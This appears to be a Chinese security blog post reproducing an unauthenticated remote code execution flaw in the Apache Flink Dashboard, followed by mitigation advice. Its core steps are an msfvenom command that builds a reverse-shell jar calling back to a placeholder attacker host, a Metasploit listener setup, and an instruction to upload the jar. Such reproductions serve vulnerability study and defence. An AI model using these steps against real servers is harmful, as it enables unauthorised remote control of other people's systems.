好久沒更新了,今天趁1024更新一篇,最近工作中遇到這個漏洞,今天自己來做一下這個漏洞復現。
Apache Flink未授權訪問-遠程代碼命令執行-復現
一、漏洞簡介
Apache Flink Dashboard默認沒有用戶權限認證。攻擊者可以通過未授權的Flink Dashboard控制台,直接上傳木馬jar包,可遠程執行任意系統命令獲取服務器權限,風險極大。
二、影響版本
Apache Flink <= 1.9.1(最新版本)
三、漏洞復現
1、生成反彈jar包
msfvenom-p java/meterpreter/reverse_tcp LHOST=XX.XX.XX.XX LPORT=4444-f jar > rce.jar
2、msf設置監聽
msf5> use exploit/multi/handler [*]Using configured payload generic/shell_reverse_tcpmsf5exploit(multi/handler) > set payload java/shell/reverse_tcp payload=> java/shell/reverse_tcpmsf5exploit(multi/handler) > show options Moduleoptions (exploit/multi/handler):NameCurrent Setting Required Description------------------- -------- -----------Payloadoptions (java/shell/reverse_tcp):NameCurrent Setting Required Description------------------- -------- -----------LHOSTyes The listen address (an interface may be specified)LPORT4444 yes The listen portExploittarget:IdName------0Wildcard Targetmsf5exploit(multi/handler) > set LHOST XX.XX.XX.XXLHOST=> XX.XX.XX.XXmsf5exploit(multi/handler) > exploit [*]Started reverse TCP handler on XX.XX.XX.XX:4444
3、上傳 Jar包,並且提交
監聽接受反彈的shell,獲取權限
四、安全建議
1. 請關注Apache Flink官方以便獲取更新信息:https://flink.apache.org/
2.針對ApacheFlinkDashboard設置防火牆策略(禁止Dashboard對外訪問,或者確保只對可信端點開放), 僅允許白名單IP進行訪問,並在Web代理中增加對該服務的Digest認證,防止未授權訪問。關於認證設置可參考鏈接:
https://httpd.apache.org/docs/2.4/mod/mod_auth_digest.html。
五、參考連接
http://www.llidc.com/news/858.html
https://nitec.jhun.edu.cn/da/64/c4987a121444/page.htm
免責聲明:本站提供安全工具、程序(方法)可能帶有攻擊性,僅供安全研究與教學之用,風險自負!
轉載聲明:著作權歸作者所有。商業轉載請聯系作者獲得授權,非商業轉載請注明出處。
訂閱查看更多復現文章、學習筆記
thelostworld
安全路上,與你並肩前行!!!!
個人知乎:https://www.zhihu.com/people/fu-wei-43-69/columns
個人簡書:https://www.jianshu.com/u/bf0e38a8d400
個人CSDN:https://blog.csdn.net/qq_37602797/category_10169006.html
原文連接:https://mp.weixin.qq.com/s/aomCajnZVA9WlnBqTE_QPg